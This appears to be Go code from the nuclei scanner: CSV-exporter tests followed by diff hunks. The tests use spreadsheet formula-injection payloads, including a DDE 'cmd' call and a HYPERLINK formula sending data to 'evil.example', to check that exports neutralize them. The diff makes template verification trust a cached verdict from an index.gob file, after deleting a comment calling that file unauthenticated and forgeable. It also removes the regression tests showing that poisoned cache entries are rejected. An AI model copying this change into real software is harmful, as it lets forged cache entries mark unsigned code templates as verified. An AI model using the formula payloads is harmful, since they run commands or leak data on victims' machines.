require.Len(t, records, 2)
// classification-derived and reference columns must be empty, not "0" or
// "<nil>", when the template carries no such metadata.
for _, name := range []string{"cve-id", "cwe-id", "cvss-metrics", "cvss-score", "reference", "description"} {
require.Equal(t, "", records[1][column(t, name)], "column %s should be empty", name)
}
require.Equal(t, "info", records[1][column(t, "severity")])
// every row still carries exactly one cell per header column
require.Len(t, records[1], len(header))
}
// TestCSVExporterEscapesStructuralCharacters is the reason this exporter writes
// through encoding/csv rather than leaving CSV assembly to the consumer: every
// value below is attacker-influenced and contains characters that are
// structural in CSV. A hand-rolled join (jq's @csv on a subset of fields, an
// fmt.Sprintf with commas, ...) either forges extra columns or truncates a row.
// Here the values must survive a full write/parse round trip byte for byte and
// the row must keep exactly len(header) cells.
func TestCSVExporterEscapesStructuralCharacters(t *testing.T) {
const (
commaValue = "a,b,c"
quoteValue = `he said "hi", then left`
newlineValue = "line1\nline2"
crlfValue = "line1\r\nline2"
mixedValue = "GET /a,b?q=\"x\" HTTP/1.1\r\nHost: evil\n"
)
event := &output.ResultEvent{
TemplateID: commaValue,
Type: quoteValue,
Info: model.Info{
Name: mixedValue,
Description: newlineValue,
Reference: stringslice.NewRawStringSlice([]string{commaValue, quoteValue}),
SeverityHolder: severity.Holder{Severity: severity.High},
},
Host: quoteValue,
IP: commaValue,
Port: newlineValue,
Matched: mixedValue,
MatcherName: crlfValue,
ExtractorName: quoteValue,
ExtractedResults: []string{commaValue, quoteValue, newlineValue},
CURLCommand: mixedValue,
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file})
require.NoError(t, err)
require.NoError(t, exporter.Export(event))
require.NoError(t, exporter.Close())
// 1. the raw file must quote the cells and double the embedded quotes
raw, err := os.ReadFile(file)
require.NoError(t, err)
require.Contains(t, string(raw), `"a,b,c"`)
require.Contains(t, string(raw), `"he said ""hi"", then left"`)
// 2. the file must still parse as exactly two records of len(header) cells,
// i.e. no injected/forged columns and no truncated row
records := readCSV(t, file)
require.Len(t, records, 2)
require.Len(t, records[0], len(header))
require.Len(t, records[1], len(header))
// 3. every value must round trip unchanged. encoding/csv collapses a \r\n
// inside a quoted field to \n when reading it back, so the expectation is
// normalised the same way; nothing else about the value may change.
lf := func(s string) string { return strings.ReplaceAll(s, "\r\n", "\n") }
row := records[1]
require.Equal(t, commaValue, row[column(t, "template-id")])
require.Equal(t, quoteValue, row[column(t, "template-type")])
require.Equal(t, lf(mixedValue), row[column(t, "template-name")])
require.Equal(t, quoteValue, row[column(t, "host")])
require.Equal(t, commaValue, row[column(t, "ip")])
require.Equal(t, newlineValue, row[column(t, "port")])
require.Equal(t, lf(mixedValue), row[column(t, "matched-at")])
require.Equal(t, quoteValue, row[column(t, "extractor-name")])
require.Equal(t, newlineValue, row[column(t, "description")])
require.Equal(t, lf(mixedValue), row[column(t, "curl-command")])
require.Equal(t, lf(crlfValue), row[column(t, "matcher-name")])
require.Equal(t, "high", row[column(t, "severity")])
// extracted results and references are newline separated inside their single
// quoted cell, so a value that itself contains a comma stays one value
require.Equal(t,
[]string{commaValue, quoteValue, "line1", "line2"},
strings.Split(row[column(t, "extracted-results")], "\n"))
require.Equal(t,
[]string{commaValue, quoteValue},
strings.Split(row[column(t, "reference")], "\n"))
}
func TestCSVExporterJoinsMultipleCVEsAndCWEs(t *testing.T) {
event := &output.ResultEvent{
TemplateID: "multi-cve",
Type: "http",
Info: model.Info{
Name: "Multiple CVEs",
SeverityHolder: severity.Holder{Severity: severity.Medium},
Classification: &model.Classification{
CVEID: stringslice.StringSlice{Value: []string{"CVE-2020-0001", "CVE-2020-0002"}},
CWEID: stringslice.StringSlice{Value: []string{"CWE-79", "CWE-80"}},
CVSSScore: 5.5,
},
},
Host: "example.net",
Matched: "example.net",
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
records := export(t, event)
require.Len(t, records, 2)
require.Equal(t, "CVE-2020-0001, CVE-2020-0002", records[1][column(t, "cve-id")])
require.Equal(t, "CWE-79, CWE-80", records[1][column(t, "cwe-id")])
require.Equal(t, "5.5", records[1][column(t, "cvss-score")])
}
// TestCSVExporterFlushesRowsBeforeClose asserts rows are readable while the
// scan is still running, rather than only after Close.
func TestCSVExporterFlushesRowsBeforeClose(t *testing.T) {
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file})
require.NoError(t, err)
event := &output.ResultEvent{
TemplateID: "streamed",
Type: "http",
Info: model.Info{
Name: "Streamed Result",
SeverityHolder: severity.Holder{Severity: severity.Low},
},
Host: "example.com",
Matched: "example.com",
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
require.NoError(t, exporter.Export(event))
records := readCSV(t, file)
require.Len(t, records, 2, "row should be on disk before Close")
require.Equal(t, "streamed", records[1][column(t, "template-id")])
require.NoError(t, exporter.Close())
}
// TestCSVExporterNeutralizesSpreadsheetFormulas covers the second half of the
// escaping problem. encoding/csv stops a value from breaking out of its cell,
// but it does not stop a spreadsheet from evaluating that cell as a formula.
// ExtractedResults in particular is raw response-derived data, so a target can
// choose exactly what lands in it.
func TestCSVExporterNeutralizesSpreadsheetFormulas(t *testing.T) {
const (
ddePayload = `=cmd|'/C calc'!A0`
hyperlinkPayload = `=HYPERLINK("http://evil.example/log?d="&A1,"click")`
atPayload = `@SUM(1+1)`
plusPayload = `+1+1`
tabPayload = "\t=1+1"
crPayload = "\r=1+1"
safeValue = "http://127.0.0.1:8080/index.html"
negativeNumber = "-1"
)
event := &output.ResultEvent{
TemplateID: ddePayload,
Type: "http",
Info: model.Info{
Name: atPayload,
Description: plusPayload,
Reference: stringslice.NewRawStringSlice([]string{safeValue, hyperlinkPayload}),
SeverityHolder: severity.Holder{Severity: severity.High},
Classification: &model.Classification{
CVSSScore: 9.8,
},
},
Host: tabPayload,
Matched: safeValue,
MatcherName: crPayload,
ExtractedResults: []string{safeValue, ddePayload, negativeNumber, hyperlinkPayload},
CURLCommand: ddePayload,
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
records := export(t, event)
require.Len(t, records, 2)
row := records[1]
require.Len(t, row, len(header))
// every formula-triggering cell is prefixed with a single apostrophe, and
// the original value is recoverable by removing exactly that apostrophe
for _, tc := range []struct {
column string
want string
}{
{"template-id", ddePayload},
{"template-name", atPayload},
{"description", plusPayload},
{"host", tabPayload},
{"matcher-name", crPayload},
{"curl-command", ddePayload},
} {
got := row[column(t, tc.column)]
require.Equal(t, "'"+tc.want, got, "column %s must be neutralized", tc.column)
require.Equal(t, tc.want, strings.TrimPrefix(got, "'"), "column %s must stay recoverable", tc.column)
}
// values that are not formulas are left byte-for-byte alone, so the export
// does not become littered with apostrophes
require.Equal(t, safeValue, row[column(t, "matched-at")])
require.Equal(t, "high", row[column(t, "severity")])
// a numeric cell stays numeric and sortable rather than becoming text
require.Equal(t, "9.8", row[column(t, "cvss-score")])
// multi-value cells are neutralized per element, not just at the start of
// the cell, because consumers split these cells back apart
require.Equal(t,
[]string{safeValue, "'" + ddePayload, negativeNumber, "'" + hyperlinkPayload},
strings.Split(row[column(t, "extracted-results")], "\n"))
require.Equal(t,
[]string{safeValue, "'" + hyperlinkPayload},
strings.Split(row[column(t, "reference")], "\n"))
}
func TestNeutralizeFormula(t *testing.T) {
for _, tc := range []struct {
name string
input string
want string
}{
{"empty", "", ""},
{"plain text", "nuclei", "nuclei"},
{"url", "http://example.com/a=b", "http://example.com/a=b"},
{"equals", "=1+1", "'=1+1"},
{"plus", "+1+1", "'+1+1"},
{"at", "@SUM(1)", "'@SUM(1)"},
{"tab", "\t=1+1", "'\t=1+1"},
{"carriage return", "\r=1+1", "'\r=1+1"},
{"negative integer stays numeric", "-1", "-1"},
{"negative float stays numeric", "-1.5", "-1.5"},
{"positive signed number stays numeric", "+9.8", "+9.8"},
{"minus leading text is neutralized", "-cmd|'/C calc'!A0", "'-cmd|'/C calc'!A0"},
{"leading space before trigger", " =1+1", "' =1+1"},
{"leading spaces and control before trigger", " \x01 @SUM(1)", "' \x01 @SUM(1)"},
{"leading newline before trigger", "\n=1+1", "'\n=1+1"},
{"space only", " ", " "},
{"inner trigger is not a trigger", "a=1+1", "a=1+1"},
{"already neutralized is left alone", "'=1+1", "'=1+1"},
{"non-ascii leading rune", "é=1+1", "é=1+1"},
{"exponent number stays numeric", "-1e5", "-1e5"},
{"leading dot number stays numeric", "-.5", "-.5"},
{"infinity is not a plain number", "-Inf", "'-Inf"},
{"nan is not a plain number", "+NaN", "'+NaN"},
{"hex float is not a plain number", "-0x1p-2", "'-0x1p-2"},
{"number with trailing text", "-1+cmd", "'-1+cmd"},
{"number with trailing newline", "-1\n", "'-1\n"},
{"lone sign", "-", "'-"},
} {
t.Run(tc.name, func(t *testing.T) {
require.Equal(t, tc.want, neutralizeFormula(tc.input))
})
}
}
-3
View File
@@ -2,7 +2,6 @@ package reporting
import (
"github.com/projectdiscovery/nuclei/v3/pkg/output"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/csv"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/es"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl"
@@ -50,8 +49,6 @@ type Options struct {
JSONExporter *jsonexporter.Options `yaml:"json"`
// JSONLExporter contains configuration options for JSONL Exporter Module
JSONLExporter *jsonl.Options `yaml:"jsonl"`
// CSVExporter contains configuration options for CSV Exporter Module
CSVExporter *csv.Options `yaml:"csv"`
// PDFExporter contains configuration options for PDF Exporter Module
PDFExporter *pdf.Options `yaml:"pdf"`
// MongoDBExporter containers the configuration options for the MongoDB Exporter Module
-9
View File
@@ -12,7 +12,6 @@ import (
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice"
"github.com/projectdiscovery/nuclei/v3/pkg/output"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/dedupe"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/csv"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/es"
json_exporter "github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl"
@@ -150,13 +149,6 @@ func New(options *Options, db string, doNotDedupe bool) (Client, error) {
}
client.exporters = append(client.exporters, exporter)
}
if options.CSVExporter != nil {
exporter, err := csv.New(options.CSVExporter)
if err != nil {
return nil, errkit.Wrapf(err, "could not create export client: %v", ErrExportClientCreation)
}
client.exporters = append(client.exporters, exporter)
}
if options.PDFExporter != nil {
exporter, err := pdf.New(options.PDFExporter)
if err != nil {
@@ -237,7 +229,6 @@ func CreateConfigIfNotExists() error {
SplunkExporter: &splunk.Options{},
JSONExporter: &json_exporter.Options{},
JSONLExporter: &jsonl.Options{},
CSVExporter: &csv.Options{},
PDFExporter: &pdf.Options{},
MongoDBExporter: &mongo.Options{},
}
-45
View File
@@ -3,7 +3,6 @@ package reporting
import (
"bufio"
"bytes"
encodingcsv "encoding/csv"
"encoding/json"
"os"
"path/filepath"
@@ -12,7 +11,6 @@ import (
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
"github.com/projectdiscovery/nuclei/v3/pkg/output"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/csv"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown"
@@ -109,49 +107,6 @@ func TestReportingDedupeRedirectedInputs(t *testing.T) {
}
}
func TestReportingCSVExporter(t *testing.T) {
t.Run("empty block does not fail client creation", func(t *testing.T) {
t.Chdir(t.TempDir())
client, err := New(&Options{CSVExporter: &csv.Options{}}, "", true)
require.NoError(t, err)
client.Close()
require.FileExists(t, "nuclei-results.csv")
})
t.Run("export through the client", func(t *testing.T) {
csvPath := filepath.Join(t.TempDir(), "report.csv")
client, err := New(&Options{CSVExporter: &csv.Options{File: csvPath}}, "", false)
require.NoError(t, err)
event := &output.ResultEvent{
TemplateID: "extract",
Type: "http",
Host: "example.com",
URL: "http://example.com",
Matched: "http://example.com",
ExtractedResults: []string{"=cmd|'/C calc'!A0"},
}
event.Info.SeverityHolder.Severity = severity.Info
require.NoError(t, client.CreateIssue(event))
// the same finding again is deduplicated like for every other exporter
require.NoError(t, client.CreateIssue(event))
client.Close()
f, err := os.Open(csvPath)
require.NoError(t, err)
defer func() { _ = f.Close() }()
records, err := encodingcsv.NewReader(f).ReadAll()
require.NoError(t, err)
require.Len(t, records, 2)
require.Contains(t, records[1], "'=cmd|'/C calc'!A0")
})
t.Run("unwritable path fails client creation", func(t *testing.T) {
_, err := New(&Options{CSVExporter: &csv.Options{File: filepath.Join(t.TempDir(), "missing", "r.csv")}}, "", true)
require.Error(t, err)
})
}
type recordingTracker struct {
mu sync.Mutex
urls []string
+35 -6
View File
@@ -912,14 +912,29 @@ func applyTemplateVerification(template *Template, data []byte) {
}
options := template.Options
verificationDigest, _ := templateVerificationDigest(data, template)
verificationDigest, digestErr := templateVerificationDigest(data, template)
template.verificationDigest = verificationDigest
// index.gob is an unauthenticated local file. A forged entry can pair
// Verified=true with a trusted fingerprint and a digest of the
// unsigned payload, so never copy a cached verdict. Always verify
// against DefaultTemplateVerifiers. Unsigned templates still
// short-circuit in ExtractSignatureAndContent with no ECDSA.
// check if the template is verified
// only valid templates can be verified or signed
if digestErr == nil && options.TemplateVerificationCallback != nil && options.TemplatePath != "" {
if cached := options.TemplateVerificationCallback(options.TemplatePath); cached != nil {
if cached.ContentDigest == verificationDigest && cached.ContentDigest != ([sha256.Size]byte{}) && cachedTemplateVerificationIsTrusted(cached) {
template.Verified = cached.Verified
template.TemplateVerifier = cached.Verifier
template.verifierFingerprint = cached.VerifierFingerprint
options.TemplateVerifier = cached.Verifier
// Mirror verification onto options for execution-time checks.
options.Verified = cached.Verified
//nolint
if !(template.Verified && template.TemplateVerifier == "projectdiscovery/nuclei-templates") {
template.Options.RawTemplate = data
}
return
}
}
}
var verifier *signer.TemplateSigner
@@ -958,6 +973,20 @@ func (template *Template) VerifierFingerprint() [sha256.Size]byte {
return template.verifierFingerprint
}
func cachedTemplateVerificationIsTrusted(cached *protocols.TemplateVerification) bool {
if !cached.Verified || cached.VerifierFingerprint == ([sha256.Size]byte{}) {
return false
}
for _, verifier := range signer.DefaultTemplateVerifiers {
if verifier.Identifier() == cached.Verifier && verifier.Fingerprint() == cached.VerifierFingerprint {
return true
}
}
return false
}
func templateVerificationDigest(data []byte, template *Template) ([sha256.Size]byte, error) {
componentDigests := make([]byte, 0, sha256.Size*(len(template.GetFileImports())+1))
dataDigest := sha256.Sum256(data)
+33 -369
View File
@@ -726,9 +726,6 @@ func TestParseTemplateExecutesJavascriptInitAfterVerification(t *testing.T) {
testutils.Cleanup(options)
})
signer := ciTemplateSigner(t)
withDefaultTemplateSigner(t, signer)
executerOptions := testutils.NewMockExecuterOptions(options, nil)
executerOptions.TemplatePath = "verified-javascript-init.yaml"
templateSource := `id: verified-javascript-init
@@ -744,7 +741,12 @@ javascript:
code: |
Export("verified-javascript-init")
`
template, err := templates.ParseTemplateFromReader(strings.NewReader(signTemplateForTest(t, signer, templateSource)), nil, executerOptions)
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
require.Equal(t, executerOptions.TemplatePath, templatePath)
return trustedVerificationForTest(templateSource)
}
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
require.NoError(t, err)
require.True(t, template.Verified)
require.True(t, template.Options.Verified)
@@ -759,9 +761,6 @@ func TestParseTemplateExecutesPreprocessedJavascriptInitAfterVerification(t *tes
testutils.Cleanup(options)
})
signer := ciTemplateSigner(t)
withDefaultTemplateSigner(t, signer)
executerOptions := testutils.NewMockExecuterOptions(options, nil)
executerOptions.TemplatePath = "verified-preprocessed-javascript-init.yaml"
templateSource := `id: verified-preprocessed-javascript-init
@@ -777,7 +776,12 @@ javascript:
code: |
Export("verified-preprocessed-javascript-init")
`
template, err := templates.ParseTemplateFromReader(strings.NewReader(signTemplateForTest(t, signer, templateSource)), nil, executerOptions)
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
require.Equal(t, executerOptions.TemplatePath, templatePath)
return trustedVerificationForTest(templateSource)
}
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
require.NoError(t, err)
require.True(t, template.Verified)
require.True(t, template.Options.Verified)
@@ -805,46 +809,12 @@ func trustedVerificationForTest(data string, importedContents ...string) *protoc
}
}
// ciTemplateSigner returns a signer backed by the CI test keypair.
func ciTemplateSigner(t *testing.T) *templatesigner.TemplateSigner {
t.Helper()
s, err := templatesigner.NewTemplateSignerFromFiles("signer/testdata/ci.crt", "signer/testdata/ci-private-key.pem")
require.NoError(t, err)
return s
}
// withDefaultTemplateSigner prepends the given signer to the default
// verifiers for the duration of the test.
func withDefaultTemplateSigner(t *testing.T, s *templatesigner.TemplateSigner) {
t.Helper()
original := templatesigner.DefaultTemplateVerifiers
templatesigner.DefaultTemplateVerifiers = append([]*templatesigner.TemplateSigner{s}, original...)
t.Cleanup(func() {
templatesigner.DefaultTemplateVerifiers = original
})
}
// signTemplateForTest returns src with a valid signature appended by the
// given signer. When importPaths are non-empty the signature also binds the
// contents of those files, read from disk at signing time.
func signTemplateForTest(t *testing.T, s *templatesigner.TemplateSigner, src string, importPaths ...string) string {
t.Helper()
signable := &templates.Template{ImportedFiles: importPaths}
signature, err := s.Sign([]byte(src), signable)
require.NoError(t, err)
return src + "\n" + signature
}
func TestParseTemplateVerificationUsesLoadedImportContents(t *testing.T) {
options := testutils.DefaultOptions.Copy()
loadedCode := `Export("loaded-import")`
diskCode := `Export("disk-import")`
importPath := filepath.Join(t.TempDir(), "import.js")
require.NoError(t, os.WriteFile(importPath, []byte(loadedCode), 0o600))
require.NoError(t, os.WriteFile(importPath, []byte(diskCode), 0o600))
options.LoadHelperFileFunction = func(helperFile, _ string, _ catalog.Catalog) (io.ReadCloser, error) {
require.Equal(t, importPath, helperFile)
return io.NopCloser(strings.NewReader(loadedCode)), nil
@@ -866,11 +836,12 @@ info:
javascript:
- code: %q
`, importPath)
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
require.Equal(t, executerOptions.TemplatePath, templatePath)
return trustedVerificationForTest(templateSource, loadedCode)
}
signer := ciTemplateSigner(t)
withDefaultTemplateSigner(t, signer)
template, err := templates.ParseTemplateFromReader(strings.NewReader(signTemplateForTest(t, signer, templateSource, importPath)), nil, executerOptions)
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
require.NoError(t, err)
require.True(t, template.Verified)
require.Equal(t, loadedCode, template.RequestsJavascript[0].Code)
@@ -892,10 +863,11 @@ info:
author: pdteam
severity: info
http:
- method: GET
path:
- "{{BaseURL}}"
javascript:
- init: |
set("init-status", "executed")
code: |
Export("revoked-verifier")
`
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
require.Equal(t, executerOptions.TemplatePath, templatePath)
@@ -913,321 +885,9 @@ http:
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
require.NoError(t, err)
require.False(t, template.Verified)
}
func TestParseTemplateIgnoresCachedVerificationForCodeTemplates(t *testing.T) {
options := testutils.DefaultOptions.Copy()
testutils.Init(options)
t.Cleanup(func() {
testutils.Cleanup(options)
})
executerOptions := testutils.NewMockExecuterOptions(options, nil)
executerOptions.TemplatePath = "poisoned-code-template.yaml"
templateSource := `id: poisoned-code-template
info:
name: Poisoned Code Template
author: pdteam
severity: info
code:
- engine:
- sh
source: |
echo poisoned
`
// A forged cache entry: self-consistent digest, real verifier
// fingerprint and Verified=true. Writing index.gob is all an attacker
// needs; the signature of the template itself is never checked if this
// entry is trusted.
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
require.Equal(t, executerOptions.TemplatePath, templatePath)
return trustedVerificationForTest(templateSource)
}
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
require.NoError(t, err)
require.False(t, template.Verified)
require.False(t, template.Options.Verified)
}
func TestParseTemplateIgnoresCachedVerificationForJavascriptTemplates(t *testing.T) {
options := testutils.DefaultOptions.Copy()
testutils.Init(options)
t.Cleanup(func() {
testutils.Cleanup(options)
})
executerOptions := testutils.NewMockExecuterOptions(options, nil)
executerOptions.TemplatePath = "poisoned-javascript-template.yaml"
templateSource := `id: poisoned-javascript-template
info:
name: Poisoned Javascript Template
author: pdteam
severity: info
javascript:
- init: |
set("init-status", "executed")
code: |
Export("poisoned-javascript-template")
`
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
require.Equal(t, executerOptions.TemplatePath, templatePath)
return trustedVerificationForTest(templateSource)
}
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
require.NoError(t, err)
require.False(t, template.Verified)
require.False(t, template.Options.Verified)
require.NotContains(t, template.RequestsJavascript[0].Args, "init-status")
}
func TestParseTemplateIgnoresCachedVerificationForHttpTemplates(t *testing.T) {
options := testutils.DefaultOptions.Copy()
testutils.Init(options)
t.Cleanup(func() {
testutils.Cleanup(options)
})
executerOptions := testutils.NewMockExecuterOptions(options, nil)
executerOptions.TemplatePath = "poisoned-http-template.yaml"
templateSource := `id: poisoned-http-template
info:
name: Poisoned HTTP Template
author: pdteam
severity: info
http:
- method: GET
path:
- "{{BaseURL}}"
`
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
require.Equal(t, executerOptions.TemplatePath, templatePath)
return trustedVerificationForTest(templateSource)
}
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
require.NoError(t, err)
require.False(t, template.Verified)
require.False(t, template.Options.Verified)
}
func parseUnsignedWithPoisonedCache(t *testing.T, source, templatePath string) *templates.Template {
t.Helper()
options := testutils.DefaultOptions.Copy()
testutils.Init(options)
t.Cleanup(func() {
testutils.Cleanup(options)
})
executerOptions := testutils.NewMockExecuterOptions(options, nil)
executerOptions.TemplatePath = templatePath
executerOptions.TemplateVerificationCallback = func(gotPath string) *protocols.TemplateVerification {
require.Equal(t, templatePath, gotPath)
return trustedVerificationForTest(source)
}
template, err := templates.ParseTemplateFromReader(strings.NewReader(source), nil, executerOptions)
require.NoError(t, err)
require.False(t, template.Verified)
require.False(t, template.Options.Verified)
return template
}
func TestParseTemplateIgnoresCachedVerificationForFlowTemplates(t *testing.T) {
template := parseUnsignedWithPoisonedCache(t, `id: poisoned-flow-template
info:
name: Poisoned Flow Template
author: pdteam
severity: info
flow: http(1)
http:
- method: GET
path:
- "{{BaseURL}}"
`, "poisoned-flow-template.yaml")
require.True(t, template.IsFlowTemplate())
require.Equal(t, "http(1)", template.Options.Flow)
require.NotNil(t, template.Executer)
require.False(t, template.HasJavascriptRequest())
}
func TestParseTemplateIgnoresCachedVerificationForWorkflowTemplates(t *testing.T) {
setup()
source, err := os.ReadFile("tests/workflow.yaml")
require.NoError(t, err)
executerOptions := executerOpts.Copy()
executerOptions.Parser = templates.NewParser()
executerOptions.TemplatePath = "tests/workflow.yaml"
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
require.Equal(t, executerOptions.TemplatePath, templatePath)
return trustedVerificationForTest(string(source))
}
template, err := templates.Parse("tests/workflow.yaml", nil, executerOptions)
require.NoError(t, err)
require.False(t, template.Verified)
require.False(t, template.Options.Verified)
require.NotNil(t, template.CompiledWorkflow)
require.Len(t, template.CompiledWorkflow.Workflows, 2)
}
func TestParseTemplateIgnoresCachedVerificationForPreprocessedHttpTemplates(t *testing.T) {
template := parseUnsignedWithPoisonedCache(t, `id: poisoned-preprocessed-http
info:
name: Poisoned Preprocessed HTTP
author: pdteam
severity: info
http:
- method: GET
path:
- "{{BaseURL}}/{{randstr}}"
`, "poisoned-preprocessed-http.yaml")
require.True(t, template.HasHTTPRequest())
require.NotContains(t, template.RequestsHTTP[0].Path[0], "{{randstr}}")
}
func TestParseTemplateIgnoresCachedVerificationFromDisk(t *testing.T) {
options := testutils.DefaultOptions.Copy()
testutils.Init(options)
t.Cleanup(func() {
testutils.Cleanup(options)
})
templateSource := `id: poisoned-disk-http
info:
name: Poisoned Disk HTTP
author: pdteam
severity: info
http:
- method: GET
path:
- "{{BaseURL}}"
`
templatePath := filepath.Join(t.TempDir(), "poisoned-disk-http.yaml")
require.NoError(t, os.WriteFile(templatePath, []byte(templateSource), 0o600))
executerOptions := testutils.NewMockExecuterOptions(options, nil)
executerOptions.Parser = templates.NewParser()
executerOptions.TemplateVerificationCallback = func(gotPath string) *protocols.TemplateVerification {
require.Equal(t, templatePath, gotPath)
return trustedVerificationForTest(templateSource)
}
template, err := templates.Parse(templatePath, nil, executerOptions)
require.NoError(t, err)
require.False(t, template.Verified)
require.False(t, template.Options.Verified)
}
func TestParseFromURLIgnoresCachedVerification(t *testing.T) {
source, err := os.ReadFile("tests/match-1.yaml")
require.NoError(t, err)
router := httprouter.New()
router.GET("/match-1.yaml", func(w netHttp.ResponseWriter, _ *netHttp.Request, _ httprouter.Params) {
_, _ = w.Write(source)
})
server := httptest.NewServer(router)
t.Cleanup(server.Close)
setup()
templatePath := server.URL + "/match-1.yaml"
executerOptions := executerOpts.Copy()
executerOptions.Parser = templates.NewParser()
executerOptions.TemplateVerificationCallback = func(gotPath string) *protocols.TemplateVerification {
require.Equal(t, templatePath, gotPath)
return trustedVerificationForTest(string(source))
}
template, err := templates.Parse(templatePath, nil, executerOptions)
require.NoError(t, err)
require.False(t, template.Verified)
require.False(t, template.Options.Verified)
require.Equal(t, "basic-get", template.ID)
}
func TestParseDoesNotTreatContentSwapAsVerified(t *testing.T) {
options := testutils.DefaultOptions.Copy()
testutils.Init(options)
t.Cleanup(func() {
testutils.Cleanup(options)
})
signer := ciTemplateSigner(t)
withDefaultTemplateSigner(t, signer)
signedSource := `id: signed-http-before-swap
info:
name: Signed HTTP Before Swap
author: pdteam
severity: info
http:
- method: GET
path:
- "{{BaseURL}}/signed"
`
swappedSource := `id: swapped-unsigned-javascript
info:
name: Swapped Unsigned Javascript
author: pdteam
severity: info
javascript:
- init: |
set("init-status", "executed")
code: |
Export("swapped-unsigned-javascript")
`
templatePath := filepath.Join(t.TempDir(), "swap.yaml")
require.NoError(t, os.WriteFile(templatePath, []byte(signTemplateForTest(t, signer, signedSource)), 0o600))
fileInfo, err := os.Stat(templatePath)
require.NoError(t, err)
executerOptions := testutils.NewMockExecuterOptions(options, nil)
executerOptions.Parser = templates.NewParser()
first, err := templates.Parse(templatePath, nil, executerOptions)
require.NoError(t, err)
require.True(t, first.Verified)
require.Equal(t, "signed-http-before-swap", first.ID)
require.NoError(t, os.WriteFile(templatePath, []byte(swappedSource), 0o600))
require.NoError(t, os.Chtimes(templatePath, fileInfo.ModTime(), fileInfo.ModTime()))
second, err := templates.Parse(templatePath, nil, executerOptions)
require.NoError(t, err)
if second.ID == "swapped-unsigned-javascript" {
require.False(t, second.Verified)
require.False(t, second.Options.Verified)
require.NotContains(t, second.RequestsJavascript[0].Args, "init-status")
return
}
require.Equal(t, "signed-http-before-swap", second.ID)
require.True(t, second.Verified)
require.False(t, second.HasJavascriptRequest())
}
func TestParseTemplateCompilesUnsignedJavascriptInit(t *testing.T) {
options := testutils.DefaultOptions.Copy()
testutils.Init(options)
@@ -1286,9 +946,6 @@ func TestParseCachedTemplatePreservesVerification(t *testing.T) {
testutils.Cleanup(options)
})
signer := ciTemplateSigner(t)
withDefaultTemplateSigner(t, signer)
templateSource := `id: cached-verified-javascript
info:
@@ -1301,10 +958,14 @@ javascript:
Export("cached-verified-javascript")
`
templatePath := filepath.Join(t.TempDir(), "cached-verified-javascript.yaml")
require.NoError(t, os.WriteFile(templatePath, []byte(signTemplateForTest(t, signer, templateSource)), 0o600))
require.NoError(t, os.WriteFile(templatePath, []byte(templateSource), 0o600))
executerOptions := testutils.NewMockExecuterOptions(options, nil)
executerOptions.Parser = templates.NewParser()
executerOptions.TemplateVerificationCallback = func(path string) *protocols.TemplateVerification {
require.Equal(t, templatePath, path)
return trustedVerificationForTest(templateSource)
}
first, err := templates.Parse(templatePath, nil, executerOptions)
require.NoError(t, err)
@@ -1351,6 +1012,9 @@ http:
for i := range compiledTemplates {
engineOptions := executerOpts.Copy()
engineOptions.Parser = templates.NewParserWithParsedCache(sharedParser.Cache())
engineOptions.TemplateVerificationCallback = func(string) *protocols.TemplateVerification {
return trustedVerificationForTest(templateSource)
}
waitGroup.Add(1)
go func() {
defer waitGroup.Done()
@@ -1361,7 +1025,7 @@ http:
for i := range compiledTemplates {
require.NoError(t, parseErrors[i])
require.NotNil(t, compiledTemplates[i])
require.True(t, compiledTemplates[i].Verified)
}
require.Equal(t, int32(1), sourceReads.Load())
-3
View File
@@ -284,8 +284,6 @@ type Options struct {
JSONExport string
// JSONLExport is the file to export JSONL output format to
JSONLExport string
// CSVExport is the file to export CSV output format to
CSVExport string
// PDFExport is the file to export PDF output format to
PDFExport string
// Redact redacts given keys in
@@ -730,7 +728,6 @@ func (options *Options) Copy() *Options {
OmitTemplate: options.OmitTemplate,
JSONExport: options.JSONExport,
JSONLExport: options.JSONLExport,
CSVExport: options.CSVExport,
PDFExport: options.PDFExport,
Redact: options.Redact,
NoRedact: options.NoRedact,